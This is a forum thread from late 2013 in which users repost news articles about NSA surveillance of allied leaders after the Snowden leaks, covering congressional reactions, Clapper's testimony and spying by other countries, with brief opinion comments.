Over at the Pentagon, Defense Secretary Chuck Hagel Monday refused to comment on the NSA's surveillance of world leaders, dismissing questions about what he may or may not have known about intelligence collection. "We have great respect for our partners, our allies, who cooperate with us and we cooperate with them to try to keep the world safe," said Hagel, standing beside New Zealand Minister of Defense Jonathan Coleman during a Pentagon press briefing. "Intelligence is a key part of that. And I think this issue will continue to be explored, as -- as it is now, but that's all I have to say."

Coleman responded to the same question: "New Zealand's not worried at all about this," he said. "We don't believe it would be occurring, and look, quite frankly there'd be nothing that anyone could hear in our private conversations that we wouldn't be prep[ared to share publicly." Coleman then cited a political cartoon in a newspaper in Wellington. It showed an analyst listening to the communiques from New Zealand with a big stream of "ZZZs" next to it. "I don't think New Zealand's got anything to worry about, and we have high trust in our relationships with the U.S."

With additional reporting by Matthew Aid and Gordon Lubold


 ....................................................................

http://www.huffingtonpost.com/2013/10/28/nsa-spying-allies_n_4172164.html

NSA Spying: U.S. May Order Halt To Surveillance Of Allied Heads Of State

 By JULIE PACE and KIMBERLY DOZIER 10/28/13 10:43 PM ET EDT 

WASHINGTON -- WASHINGTON (AP) — A senior administration official says the United States is weighing ending spying against allied heads of state.

The official said late Monday a final decision has not been made and an internal review is ongoing. The review comes amid the furor in Europe over revelations that the National Security Agency allegedly eavesdropped on German Chancellor Angela Merkel (AHN'-geh-lah MEHR'-kuhl).

The official was not authorized to discuss the ongoing review by name and insisted on anonymity.



............................................



http://www.huffingtonpost.com/2013/10/28/dianne-feinstein-nsa-spying_n_4171473.html

Sen. Dianne Feinstein Slams NSA Spying
Posted: 10/28/2013 5:17 pm EDT  |  Updated: 10/28/2013 10:07 pm EDT

WASHINGTON -- Sen. Dianne Feinstein (D-Calif.), the chair of the Senate Intelligence Committee, hammered the National Security Agency Monday over reports it spied on foreign leaders and allies, and revealed that President Barack Obama said he would halt such eavesdropping.

A senior administration official denied the White House was stopping programs aimed at allies. A source close to Feinstein insisted the California lawmaker had been informed by Obama that spying on friendly leaders would cease.

Saying that she is "totally opposed" to eavesdropping on the leaders of friendly governments and wants a complete review of U.S. intelligence activities, Feinstein, who had been a staunch defender of the NSA since former agency contractor Edward Snowden began leaking documents detailing its secret activities, came down hard on the spy agency.

In an uncharacteristically harsh statement, Feinstein said new allegations that the agency monitored the phone calls of foreign leaders, including German Chancellor Angela Merkel, are simply out of bounds, and suggested the NSA has failed to fully inform Congress and Obama of its activities.

“It is my understanding that President Obama was not aware Chancellor Merkel’s communications were being collected since 2002. That is a big problem," Feinstein said. “The White House has informed me that collection on our allies will not continue, which I support. But as far as I’m concerned, Congress needs to know exactly what our intelligence community is doing."

The senior administration official said Feinstein's statement that the White House is moving to stop spying on U.S. allies "is not accurate."

"While we have made some individual changes -- which I cannot detail -- we have not made across-the-board changes in policy like, for example, terminating intelligence collection that might be aimed at all allies," the official said.

It was unclear why Feinstein and the White House seemed to have differing interpretations of her conversations with Obama. But a spokeswoman for the president's National Security Council confirmed that the administration was re-evaluating its eavesdropping.

"We appreciate her [Feinstein's] continued leadership on these issues as chairman of the Senate Intelligence Committee," said the spokeswoman, Caitlin Hayden. "We are also looking at whether the system that’s been in place for many years, called the National Intelligence Priorities Framework, could be modified to provide better policy guidance for our intelligence activities. The administration's review is ongoing ... but we have already made some decisions through this process and expect to make more as we continue. The review is meant to be completed by the end of the year."

The California senator has argued repeatedly that the NSA's mass collection of Americans' phone records is useful and necessary to protect the nation, and that it is carefully monitored by the Foreign Intelligence Surveillance Court. "It's called protecting America," Feinstein said in June (See video above.)

But the reported U.S. spying on foreign leaders -- and failing to explain such activities to elected officials -- is entirely inappropriate, Feinstein said Monday.

“It is abundantly clear that a total review of all intelligence programs is necessary so that members of the Senate Intelligence Committee are fully informed as to what is actually being carried out by the intelligence community," Feinstein said. “Unlike NSA’s collection of phone records under a court order, it is clear to me that certain surveillance activities have been in effect for more than a decade and that the Senate Intelligence Committee was not satisfactorily informed."

“With respect to NSA collection of intelligence on leaders of U.S. allies -- including France, Spain, Mexico and Germany -- let me state unequivocally: I am totally opposed," Feinstein added, spelling out what may be a rare rift between her and the Obama administration.

"I do not believe the United States should be collecting phone calls or emails of friendly presidents and prime ministers. The president should be required to approve any collection of this sort," she said.

Feinstein placed the blame on former President George W. Bush's administration and officials in the intelligence community who did not later divulge the activities to members of Obama's administration and Congress.

U.S. ambassadors have been summoned by outraged allies to explain the reported actions, and the revelations have sparked a backlash across Europe that may lead to restrictions on U.S. surveillance, as well as rollbacks of other post-9/11 American intelligence activities.

This story has been updated with a statement from a senior administration official and from National Security Council spokeswoman Caitlin Hayden and sources familiar with Feinstein's discussion with the president.

Michael McAuliff covers Congress and politics for The Huffington Post. Talk to him on Facebook.

............................................

http://www.latimes.com/world/la-fg-spying-phones-20131029,0,3235295.story#axzz2j4tuixpK

White House OKd spying on allies, U.S. intelligence officials say

NSA and other U.S. intelligence agency staff members are said to be angry at President Obama for denying knowledge of the spying.

By Ken Dilanian and Janet Stobart
October 28, 2013, 7:25 p.m.
WASHINGTON — The White House and State Department signed off on surveillance targeting phone conversations of friendly foreign leaders, current and former U.S. intelligence officials said Monday, pushing back against assertions that President Obama and his aides were unaware of the high-level eavesdropping.

Professional staff members at the National Security Agency and other U.S. intelligence agencies are angry, these officials say, believing the president has cast them adrift as he tries to distance himself from the disclosures by former NSA contractor Edward Snowden that have strained ties with close allies.

The resistance emerged as the White House said it would curtail foreign intelligence collection in some cases and two senior U.S. senators called for investigations of the practice.

France, Germany, Italy, Mexico and Sweden have all publicly complained about the NSA surveillance operations, which reportedly captured private cellphone conversations by German Chancellor Angela Merkel, among other foreign leaders.

On Monday, as Spain joined the protest, the fallout also spread to Capitol Hill.

Until now, members of Congress have chiefly focused their attention on Snowden's disclosures about the NSA's collection of U.S. telephone and email records under secret court orders.

"With respect to NSA collection of intelligence on leaders of U.S. allies — including France, Spain, Mexico and Germany — let me state unequivocally: I am totally opposed," said Sen. Dianne Feinstein (D-Calif.), who chairs the Senate Intelligence Committee.

"Unless the United States is engaged in hostilities against a country or there is an emergency need for this type of surveillance, I do not believe the United States should be collecting phone calls or emails of friendly presidents and prime ministers," she said in a statement.

Feinstein said the Intelligence Committee had not been told of "certain surveillance activities" for more than a decade, and she said she would initiate a major review of the NSA operation. She added that the White House had informed her that "collection on our allies will not continue," although other officials said most U.S. surveillance overseas would not be affected.

Sen. John McCain (R-Ariz.), ranking minority member of the Armed Services Committee, said Congress should consider creating a special select committee to examine U.S. eavesdropping on foreign leaders.

"Obviously, we're going to want to know exactly what the president knew and when he knew it," McCain told reporters in Chicago. "We have always eavesdropped on people around the world. But the advance of technology has given us enormous capabilities, and I think you might make an argument that some of this capability has been very offensive both to us and to our allies."

In Madrid, Spanish Foreign Ministry officials summoned the U.S. ambassador to object to the alleged NSA communications net in Spain. Citing documents leaked by Snowden, El Mundo, a major Spanish daily, said the U.S. spy agency had collected data on more than 60 million phone calls made in just 30 days, from early December 2012 to early January 2013.

Precisely how the surveillance is conducted is unclear. But if a foreign leader is targeted for eavesdropping, the relevant U.S. ambassador and the National Security Council staffer at the White House who deals with the country are given regular reports, said two former senior intelligence officials, who spoke on condition of anonymity in discussing classified information.

Obama may not have been specifically briefed on NSA operations targeting a foreign leader's cellphone or email communications, one of the officials said. "But certainly the National Security Council and senior people across the intelligence community knew exactly what was going on, and to suggest otherwise is ridiculous."

If U.S. spying on key foreign leaders was news to the White House, current and former officials said, then White House officials have not been reading their briefing books.

Some U.S. intelligence officials said they were being blamed by the White House for conducting surveillance that was authorized under the law and utilized at the White House.

"People are furious," said a senior intelligence official who would not be identified discussing classified information. "This is officially the White House cutting off the intelligence community."

Any decision to spy on friendly foreign leaders is made with input from the State Department, which considers the political risk, the official said. Any useful intelligence is then given to the president's counter-terrorism advisor, Lisa Monaco, among other White House officials.

Jay Carney, the White House press secretary, said Monday that Obama had ordered a review of surveillance capabilities, including those affecting America's closest foreign partners and allies.

"Our review is looking across the board at our intelligence gathering to ensure that as we gather intelligence, we are properly accounting for both the security of our citizens and our allies and the privacy concerns shared by Americans and citizens around the world," Carney said.

Caitlin Hayden, spokeswoman for the National Security Council, said the review would examine "whether we have the appropriate posture when it comes to heads of state, how we coordinate with our closest allies and partners, and what further guiding principles or constraints might be appropriate for our efforts."

She said the review should be completed this year.

Citing documents from Snowden, the German news magazine Der Spiegel reported last week that the NSA's Special Collection Service had monitored Merkel's cellphone since 2002. Obama subsequently called Merkel and told her he was not aware her phone had been hacked, U.S. officials said.

Intelligence officials also disputed a Wall Street Journal article Monday that said the White House had learned only this summer — during a review of surveillance operations that might be exposed by Snowden — about an NSA program to monitor communications of 35 world leaders. Since then, officials said, several of the eavesdropping operations have been stopped because of political sensitivities.

ken.dilanian@latimes.com

Stobart is a news assistant in The Times' London bureau. Chicago Tribune writer Rick Pearson contributed to this report.
Title: Re: they know what you are doing
Post by: sky otter on October 29, 2013, 04:15:22 pm

yep..just move along..nothing to see here


He suggested the outrage and surprise expressed by representatives of allies in recent days was naive or disingenuous


http://usnews.nbcnews.com/_news/2013/10/29/21233196-spy-chief-clapper-weve-been-snooping-on-our-friends-for-years?lite&ocid=msnhp&pos=1


video at link


Spy chief Clapper: We've been snooping on our friends for years


By Tracy Connor, Staff Writer, NBC News
The nation's top intelligence official told Congress on Tuesday that the U.S. has been snooping on friendly foreign leaders for years, and getting spied on by allies in return.

As controversy swirled over reports that the National Security Agency monitored the calls of German Chancellor Angela Merkel and other world leaders, Director of National Intelligence James Clapper gave the impression he didn't know what all the fuss was about.

During a grilling by the House Intelligence Committee, Clapper said understanding "foreign leadership intentions" is one of NSA's basic goals.

"That's a hardy perennial as long as I have been in the intelligence business,” he said, explaining that the U.S. needs to make sure what allies are telling America matches what's going on behind the scenes.

Asked whether allies also spy on the U.S., Clapper was unequivocal: "Absolutely."

He suggested the outrage and surprise expressed by representatives of allies in recent days was naive or disingenuous and reminded him of a line from the movie "Casablanca."

"'My God, there's gambling going on here?' It's the same kind of thing," he said.

President Obama reportedly had to apologize to Merkel and to the presidents of France and Brazil after revelations about U.S. spying — disclosures that stem from former NSA and CIA contractor Edward Snowden's leaks of government documents.

As the White House tries to control the damage, Obama has promised a “complete review” of overseas spying operations and is reportedly considering whether to suspend monitoring of allies.

“What we've seen over the last several years is their capacities continue to develop and expand, and that's why I'm initiating now a review to make sure that what they're able to do doesn't necessarily mean what they should be doing," Obama said Monday in a televised interview.

NSA Director Gen. Keith Alexander said overseas reports that the U.S. had collected tens of millions of phone calls in France, Spain and other European nations were "false."

He said the data cited came from foreign service agencies — "collected in defense of our countries and in support of military operations" — and was not culled from European citizens.

Clapper and Alexander appeared before the committee hours after a bipartisan team of Congress members introduced a bill that would sharply curb the NSA's collection of American's phone data, legislation that is expected to face a fight from others who think it goes too far.

Several protesters wearing clown-size sunglasses with the words "Stop Spying" scrawled on the lenses sat behind the two spy bosses.

Both defended the data-sweeping program as lawful, aimed at foreign terrorists and successful in saving lives.

Clapper said he would support declassifying secret intelligence court orders to boost transparency and pointed to plans to hire a director of civil liberties and privacy. Alexander said an independent Senate-confirmed inspector general, one of the proposals the committee is considering, "won't hurt."

But Clapper also warned those looking to reform the NSA's activities that they must avoid “over-correcting.”

“We believe we have been lawful and that the rigorous oversight we’ve operated under has been effective,” Clapper said in his opening remarks.

“We do not spy on anyone except for valid foreign intelligence purposes and we do not violate the law.”

Clapper conceded “we have made mistakes,” blaming them on human error or technical problems and said there has been an “erosion of trust in the in the intelligence community.”

But he urged the lawmakers to be cautious in responding to the errors.

“As Americans, we face an unending array of threats to our way of life. We need to sustain our ability to detect these threats,” he said.

Months of leaks from Snowden are already “affecting our ability to conduct intelligence and keep our country safe,” he said.

Alexander struck a similar note in his testimony.

“It is much more important for this county that we defend this country and take the beating than it for us to give up a program that would prevent this nation from being attacked,” he said.
Title: Re: they know what you are doing
Post by: Sgt.Rocknroll on October 29, 2013, 04:27:59 pm
I really don't se what the big deal is. As stated, we spy, they spy, we all spy. It's been going on since the beginning of time. And will continue!
Title: Re: they know what you are doing
Post by: sky otter on October 30, 2013, 01:50:30 pm


yep..what sgt. said




http://www.huffingtonpost.com/2013/10/30/russia-spying-g20-leaders_n_4176716.html


Russia Spying On G20 Leaders? Kremlin Denies Italian Reports Of Skullduggery

Reuters  |  Posted: 10/30/2013 6:52 am EDT  |  Updated: 10/30/2013 8:39 am EDT





ROME/MOSCOW, Oct 30 (Reuters) - Russia has denied reports that its intelligence services spied on hundreds of foreign delegates at a Group of 20 summit in St Petersburg in September using gifts such as teddy bears, diaries and free USB keys.

Quoting a report from the European Council's security office to Italian intelligence services, Italy's Corriere della Sera daily has reported this week that at least 300 such devices were issued at the Sept. 5-6 summit and were revealed to be spy gear during security debriefing sessions last month.

The report fuels controversy over international espionage after reports that U.S. intelligence services had conducted telephone surveillance of allied countries and leaders.

Kremlin spokesman Dmitry Peskov said he did not know what the source of the latest allegations was.

"This is undoubtedly nothing but an attempt to shift the focus from issues that truly exist in relations between European capitals and Washington to unsubstantiated, non-existent issues," he was quoted as saying by RIA news agency.

Tension between the United States and its allies has grown over reports that European leaders including German Chancellor Angela Merkel had been spied on by U.S. intelligence services.

According to Corriere della Sera, a regular debriefing with European Council President Herman Van Rompuy and other EU delegates revealed they had been given souvenir USB keys and cables to connect smartphones with personal computers.

It said EU officials alerted German intelligence services which conducted detailed tests on the devices.

"These are devices adapted to the clandestine interception of data from computers and mobile telephones," the newspaper quoted an initial report as saying.

Daily La Stampa newspaper said the devices showed "anomalies" and signs of "manipulation" but it was not certain how much information had been collected by Russian spies.

The reports appear to show a more traditional pattern of intelligence gathering than the reported U.S. snooping.

The Guardian newspaper reported in July that British intelligence services had spied on G20 delegates at a summit in 2009, tricking some delegates into using free

internet cafes apparently set up for their benefit. (Reporting by James MacKenzie, additional reporting by Gabriela Baczynska; Editing by Alistair Lyon)

Title: Re: they know what you are doing
Post by: sky otter on November 02, 2013, 08:37:56 pm

 :(


http://news.msn.com/world/european-agencies-reportedly-working-on-mass-spying

European agencies reportedly working on mass spying
5 hr ago By Estelle Shirbon of Reuters

The Guardian reported that European spy agencies are collaborating on mass surveillance of the Internet and phone traffic.

LONDON — Spy agencies across Western Europe are working together on mass surveillance of Internet and phone traffic comparable to programs run by their U.S. counterpart denounced by European governments, Britain's Guardian newspaper reported Saturday.

Citing documents leaked by fugitive former U.S. National Security Agency contractor Edward Snowden, the Guardian said methods included tapping into fiber optic cables and working covertly with private telecommunications companies.

The Guardian named Germany, France, Spain, Sweden and the Netherlands as countries where intelligence agencies had been developing such methods in cooperation with counterparts including Britain's surveillance agency GCHQ.

The report is potentially embarrassing for governments, especially in Germany and France which have been the most vocal in protesting about U.S. mass surveillance of European communication networks revealed by Snowden since June.

Germany, jointly with Brazil, circulated a draft resolution to a U.N. General Assembly committee on Friday that called for an end to excessive electronic surveillance, data collection and other gross invasions of privacy.

There has been particular anger in Germany, a close ally of the United States, over the revelation that the NSA monitored the mobile phone of Chancellor Angela Merkel.

Snowden has written an open letter to Merkel and other German authorities to say he is counting on international support to stop Washington's "persecution" of him.

Germany's BND federal intelligence service said there had been considerations in 2008 about merging German security services' surveillance of telecommunications, which would have required changes to telecommunication and security laws.

It said it had exchanged experiences with the British services on this in 2008 but these discussions had focused on technical rather than legal issues. The BND added that it regularly held such exchanges on technical developments with other European services.

"It is incorrect that Germany's BND federal intelligence service tried to circumvent legal restrictions to be able to implement British acquisition technology. On this point too the BND complied with the law," a BND spokesman said.

The Guardian said GCHQ files leaked by Snowden showed the British agency taking credit for advising European counterparts on how to get around domestic laws intended to restrict their surveillance powers.

'HUGE TECHNOLOGICAL POTENTIAL'

Citing a 2008 GCHQ country-by-country report, the Guardian said the British spies were particularly impressed with Germany's BND agency, which they said had "huge technological potential and good access to the heart of the Internet".

"We have been assisting the BND ... in making the case for reform or reinterpretation of the very restrictive interception legislation in Germany," the GCHQ document said, according to the Guardian.

The GCHQ had also praised France's DGSE agency and in particular its close ties with an unnamed telecommunications company, a relationship from which GCHQ hoped to benefit.

"We have made contact with the DGSE's main industry partner, who has some innovative approaches to some Internet challenges, raising the potential for GCHQ to make use of this company in the protocol development arena," the report said.

There was similar analysis of the intelligence agencies in Spain, Sweden and the Netherlands, with Spain's CNI praised for its ties with an unnamed British telecommunications firm and Sweden's FRA congratulated over a law passed in 2008 that widened surveillance powers.

Asked about the Guardian's report, Sweden's National Defense Radio Establishment (FRA) said it was natural that it had contacts with similar organizations in other countries.

FRA spokesman Fredrik Wallin said cooperation with foreign intelligence services could include exchanges of intelligence reports. He declined to comment on specific countries but said all activities were strictly controlled by Swedish law.

"There is a clear legal framework which determines how we cooperate with other countries," he said.

Additional reporting by Andreas Rinke in Berlin.
Title: Re: they know what you are doing
Post by: sky otter on November 03, 2013, 08:27:03 am




this is 7 pages long..only page one here..go to link for the rest..interesting stuff








http://www.nytimes.com/2013/11/03/world/no-morsel-too-minuscule-for-all-consuming-nsa.html?hp&_r=0



(At the agency’s request, The Times is withholding some details that officials said could compromise intelligence operations.)




No Morsel Too Minuscule for All-Consuming N.S.A.

By SCOTT SHANE
Published: November 2, 2013

When Ban Ki-moon, the United Nations secretary general, sat down with President Obama at the White House in April to discuss Syrian chemical weapons, Israeli-Palestinian peace talks and climate change, it was a cordial, routine exchange.

The National Security Agency nonetheless went to work in advance and intercepted Mr. Ban’s talking points for the meeting, a feat the agency later reported as an “operational highlight” in a weekly internal brag sheet. It is hard to imagine what edge this could have given Mr. Obama in a friendly chat, if he even saw the N.S.A.’s modest scoop. (The White House won’t say.)



But it was emblematic of an agency that for decades has operated on the principle that any eavesdropping that can be done on a foreign target of any conceivable interest — now or in the future — should be done. After all, American intelligence officials reasoned, who’s going to find out?

From thousands of classified documents, the National Security Agency emerges as an electronic omnivore of staggering capabilities, eavesdropping and hacking its way around the world to strip governments and other targets of their secrets, all the while enforcing the utmost secrecy about its own operations. It spies routinely on friends as well as foes, as has become obvious in recent weeks; the agency’s official mission list includes using its surveillance powers to achieve “diplomatic advantage” over such allies as France and Germany and “economic advantage” over Japan and Brazil, among other countries.



Mr. Obama found himself in September standing uncomfortably beside the president of Brazil, Dilma Rousseff, who was furious at being named as a target of N.S.A. eavesdropping. Since then, there has been a parade of such protests, from the European Union, Mexico, France, Germany and Spain. Chagrined American officials joke that soon there will be complaints from foreign leaders feeling slighted because the agency had not targeted them.



James R. Clapper Jr., the director of national intelligence, has repeatedly dismissed such objections as brazen hypocrisy from countries that do their own share of spying. But in a recent interview, he acknowledged that the scale of eavesdropping by the N.S.A., with 35,000 workers and $10.8 billion a year, sets it apart. “There’s no question that from a capability standpoint we probably dwarf everybody on the planet, just about, with perhaps the exception of Russia and China,” he said.



Since Edward J. Snowden began releasing the agency’s documents in June, the unrelenting stream of disclosures has opened the most extended debate on the agency’s mission since its creation in 1952. The scrutiny has ignited a crisis of purpose and legitimacy for the N.S.A., the nation’s largest intelligence agency, and the White House has ordered a review of both its domestic and its foreign intelligence collection. While much of the focus has been on whether the agency violates Americans’ privacy, an issue under examination by Congress and two review panels, the anger expressed around the world about American surveillance has prompted far broader questions.



If secrecy can no longer be taken for granted, when does the political risk of eavesdropping overseas outweigh its intelligence benefits? Should foreign citizens, many of whom now rely on American companies for email and Internet services, have any privacy protections from the N.S.A.? Will the American Internet giants’ collaboration with the agency, voluntary or otherwise, damage them in international markets? And are the agency’s clandestine efforts to weaken encryption making the Internet less secure for everyone?



Matthew M. Aid, an intelligence historian and author of a 2009 book on the N.S.A., said there is no precedent for the hostile questions coming at the agency from all directions.



“From N.S.A.’s point of view, it’s a disaster,” Mr. Aid said. “Every new disclosure reinforces the notion that the agency needs to be reined in. There are political consequences, and there will be operational consequences.”



A review of classified agency documents obtained by Mr. Snowden and shared with The New York Times by The Guardian, offers a rich sampling of the agency’s global operations and culture. (At the agency’s request, The Times is withholding some details that officials said could compromise intelligence operations.) The N.S.A. seems to be listening everywhere in the world, gathering every stray electron that might add, however minutely, to the United States government’s knowledge of the world. To some Americans, that may be a comfort. To others, and to people overseas, that may suggest an agency out of control.

1
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A version of this article appears in print on November 3, 2013, on page A1 of the New York edition with the headline: No Morsel Too Minuscule For All-Consuming N.S.A..
Title: Re: they know what you are doing
Post by: sky otter on November 04, 2013, 10:04:46 pm
yeah yeah.. the u s is the bad guy and the only one spying..what a crock
 





http://www.huffingtonpost.com/2013/11/04/brazil-spied-embassy-personnel_n_4214010.html


Brazil Spied On Embassy Personnel



By BRADLEY BROOKS 11/04/13 02:36 PM ET EST 



RIO DE JANEIRO -- RIO DE JANEIRO (AP) — The Brazilian government confirmed Monday that its intelligence service targeted U.S., Russian, Iranian and Iraqi diplomats and property during spy activities carried out about a decade ago in the capital Brasilia.

The relatively low-key surveillance was reported by the Folha de S. Paulo newspaper, based on Brazilian intelligence service documents it obtained from an undisclosed source.

It describes surveillance that pales in comparison to the massive spy programs carried out by the U.S. National Security Agency, efforts detailed in thousands of documents leaked by Edward Snowden.

But the revelation forced the Brazilian government to defend its espionage while remaining the loudest critic of the NSA programs that have aggressively targeted communications in Brazil, including the personal phone and email of President Dilma Rousseff, who cancelled a state visit to Washington in response.

Brazil's Institutional Security Cabinet, which oversees the Abin intelligence service, said in an emailed statement that all the operations cited in the Folha report "follow Brazilian law for the protection of national interests."

The statement added that Abin "develops intelligence activities for the defense" of Brazil and for "national sovereignty, in strict observance of constitutional principles and the laws that guarantee individual rights."

Rousseff has said that the NSA program, which has swept up data on billions of telephone calls and emails flowing through Brazil, is a violation of individual human rights. Brazil has been targeted in part because it serves as an important transit point for trans-Atlantic fiber optic cables carrying much of the globe's traffic.

Last week, Brazil joined Germany in asking the United Nations General Assembly to adopt a resolution calling on all countries to protect the right to privacy guaranteed under international law. The draft emphasizes that illegal surveillance and interception of communications as well as the illegal collection of personal data "constitute a highly intrusive act that violates the right to privacy and freedom of expression and may threaten the foundations of a democratic society."

In Monday's statement, Brazil's Institutional Security Cabinet said it planned to prosecute anyone who may have leaked the documents to the Folha newspaper.

According to daily, Brazil's intelligence service monitored office space rented by the U.S. Embassy in Brasilia, suspecting it of harboring spy equipment. The report said Abin had concluded that the offices held "communications equipment."

"Functioning daily with the doors closed and the lights turned off, and with nobody in the locale," is how the Abin report described the rented U.S. property, according to Folha. "The office is sporadically visited by someone from the embassy."

Dean Cheves, the spokesman for the U.S. Embassy in Brazil, wouldn't comment on Abin's surveillance of the office space. But he said the office served as a relay station for walkie-talkie radios carried by embassy personnel, who carry the radios as back up communications for emergencies or in case cellphone service goes down.

The Folha report detailed at least 10 intelligence operations carried out in Brasilia in 2003-04, just as former President Luiz Inacio Lula da Silva was settling into office.

Other targets included diplomats from the Russian, Iranian and Iraqi embassies, who were followed and photographed as they came and went from embassies and official residences.

In particular, Abin was interested in Russian officials involved in negotiating arms deals in Brazil, and followed Iran's ambassador to Cuba as he visited Brazil.

___

Associated Press writer Jenny Barchfield contributed to this report.
Title: Re: they know what you are doing
Post by: sky otter on November 05, 2013, 09:33:13 pm
 wow ..just imagine..all the time and effort into this...sigh


http://www.bbc.co.uk/news/world-europe-24824633


5 November 2013 Last updated at 11:32 ET

Germany calls in British ambassador over spy claims

The British ambassador in Berlin has been called in to Germany's foreign ministry to respond to spying allegations.

The UK's Independent newspaper says the British embassy in Berlin may house a "top-secret listening post".

It cites leaked US National Security Agency (NSA) documents suggesting the UK could be using hi-tech equipment housed on the embassy roof.

Any such activity would be against international law, Berlin says.

A spokesman for David Cameron said the prime minister had not spoken to Chancellor Angela Merkel about the spying allegations and there were no plans for a conversation, although their relationship was "excellent".

He refused to comment on security issues but said Britain's intelligence services operated under a "strong and clear legal framework".

German Foreign Minister Guido Westerwelle had requested the attendance of UK ambassador Simon McDonald to respond to the claims, a ministry spokesman said.

"The head of the European department asked for a response to current reports in the British media, and pointed out that the interception of communications from the premises of a diplomatic mission would be behaviour contrary to international law," he said.

The Independent report, published on Tuesday, was based on NSA documents leaked by US whistleblower Edward Snowden.

The report said the NSA documents, in conjunction with aerial photographs and information about past spying activities in Germany, suggest that Britain is operating a covert listening station close to the Bundestag, Germany's parliament, and Chancellor Angela Merkel's offices.

Aerial photographs of the embassy in Berlin show a white, tent-like structure, which the newspaper says has been in place since the embassy was opened in 2000.

Equipment within the unit "would be capable of intercepting mobile phone calls, wi-fi data and long-distance communications across the German capital," the Independent reported.

It follows revelations that the US has listened to mobile phone calls made by Mrs Merkel since 2002.

The row has led to a serious diplomatic crisis between the two countries.

...........................


http://www.bbc.co.uk/news/world-asia-india-24753696



NSA leaks helping India become 'Big Brother' state?

While the US and Britain fend off accusations of Big Brother-style spying, other countries are learning lessons from fugitive ex-US intelligence contractor Edward Snowden's leaks and, critics say, developing the same kind of mass-surveillance.

India is one of those in the frame.

Its authorities are bringing in new measures against foreign cyber-snooping, including a plan to move internet traffic inside its borders and banning officials from using Gmail and other external email services.

Simultaneously, campaigners say the Indian government is loosening controls on electronic snooping by its own spies.

It is also stepping up efforts to build its own mass-surveillance system, which critics have dubbed "India's PRISM" - a reference to one of the US spy programmes revealed by Mr Snowden.

This is the downside of Mr Snowden's leaks, says Sunil Abraham of the Centre for Internet and Society, an Indian advocacy group.

"Governments like India are now cherry-picking the worst practices, in a race for the bottom in terms of human rights".

Documents released by Mr Snowden to journalist Glenn Greenwald showed America's National Security Agency (NSA) was hoovering up billions of chunks of Indian data, making the country its fifth most important target worldwide.

'Not actually snooping'
 
But unlike other states that have discovered the US is siphoning off their secrets, India has conspicuously avoided joining the chorus of criticism. That may be because it doesn't want to draw attention to its own activities.

Its foreign minister Salman Khurshid even appeared to excuse American monitoring, saying it "was not actually snooping".

When the German chancellor Angela Merkel erupted over reports the NSA had been bugging her mobile phone, the Indian prime minister's office was untroubled by the possibility he too had been targeted.  


.....................

http://www.bbc.co.uk/news/world-asia-24757968


1 November 2013 Last updated at 03:13 ET

Australia ambassador summoned amid Asia US spying reports

Indonesia has summoned Australia's ambassador amid reports that Australian embassies have been used as part of a US-led spying network in Asia.

The Sydney Morning Herald (SMH) reported that diplomatic posts in Asia were being used to intercept phone calls and data.

China has also demanded an explanation from the US over the allegations.

The reports were based on a US National Security Agency document leaked by whistleblower Edward Snowden.

The document, which was originally published by German newspaper Der Spiegel, describes a signals intelligence programme called Stateroom which involves the interception of radio, telecommunications and internet traffic using equipment in US, British, Australian and Canadian diplomatic missions.

Diplomatic posts involved included those in Jakarta, Bangkok, Hanoi, Beijing and Kuala Lumpur, amongst others, SMH said on Thursday.

A former Australian intelligence officer, who was not named, told SMH that the Australian embassies in Jakarta and Bali were used to collect signals.

In a statement, Indonesian Foreign Minister Marty Natalegawa said: "[The government] cannot accept and strongly protests the news of the existence of wiretapping facilities at the US embassy in Jakarta."

"If confirmed, such action is not only a breach of security, but also a serious breach of diplomatic norms and ethics."

"The reported activities absolutely do not reflect the spirit of a close and friendly relationship between the two neighbours and are considered unacceptable by the government of Indonesia," the foreign ministry added in a statement.

Australian ambassador Greg Moriarty was summoned to the foreign ministry on Friday.

He described the talks, which reportedly took less than half an hour, as "a good meeting".

Australia and Indonesia are key allies and trading partners. Australia requires Indonesia's co-operation on the asylum issue, as many asylum seekers travel via Indonesia to Australia by boat.

'Clarification'
 
Meanwhile, Chinese foreign ministry spokeswoman Hua Chunying said Beijing was "extremely concerned" about the report.

"[China] demands that the US offer a clarification and explanation," she said. "We demand that foreign embassies in China and their staff respect the Vienna Convention."

Malaysia's foreign ministry, in a statement, said it had sought clarification on the issue from the US envoy in Kuala Lumpur, adding that Malaysia's "security and sovereignty" remained the priority.

Australia's Department of Foreign Affairs and Trade declined to comment on the reports. Prime Minister Tony Abbott said: "Every Australian governmental agency, every Australian official... operates in accordance with the law."

The reports are the latest in a series of documents leaked by ex-US intelligence contractor Edward Snowden, who has been granted temporary asylum in Russia and is wanted in the US in connection with the unauthorised disclosures.

The US is facing growing anger over reports it spied on its allies abroad.

However, correspondents say that in reality most governments conduct surveillance or espionage operations against other countries whose activities matter to them.
Title: Re: they know what you are doing
Post by: sky otter on November 06, 2013, 08:03:34 pm

spying  is not new..hummmmmmmmmm  :P



http://www.huffingtonpost.com/2013/11/06/nsa-senate-church-committee_n_4228614.html
 
NSA Spying Sparks Calls For New Senate Church Committee

Posted: 11/06/2013 7:02 pm EST
 
Matt Sledge
 
 

Four decades ago, a special Senate committee exposed what was then the worst of domestic surveillance abuses by the FBI, CIA and National Security Agency, from spying on left-wing counterculture groups to collecting every cable message entering the United States.

The Church Committee, named for Chairman Frank Church (D-Idaho), spawned headlines that still sound fresh today. One, from The New York Times in 1975, read: "National Security Agency Reported Eavesdropping On Most Private Cables; Pentagon Unit Is Said to Use Computers to Sort Out Intelligence Data From Messages; Legality Is Debated."

Sen. John McCain (R-Ariz.) last month called for a new Senate select committee to investigate the NSA. The Electronic Frontier Foundation, battling the Obama administration in court for more transparency around the NSA's actions, has called for a new Church Committee.

Now, a former senator who sat on that legendary committee and a former staff member -- members of a fraternity who see themselves as keepers of the flame in preventing government surveillance abuses -- have spoken to HuffPost about the idea.

"It does make sense," said Loch Johnson, who was Church's top staffer on the committee in 1975. "To quote Harry Truman, the government needs a house-cleaning every now and then." Church died in 1984.

Former Vice President Walter Mondale (D), who sat on the old Church Committee as a senator, said he also believes a new Church Committee is needed. Neither he nor Johnson seemed satisfied with the work of today's Senate and House intelligence committees, which are supposed to provide oversight to the spy agencies' classified work.

The revelations that the NSA had spied on German Chancellor Angela Merkel seemed to go one step too far for Senate Intelligence Committee chair Dianne Feinstein (D-Calif.). She has begun what she calls a "major review" of the NSA's operations. Before that revelation, Feinstein was one of the agency's staunchest defenders in Congress, asserting that activities like scooping up records of every American phone call are necessary to prevent terrorism.

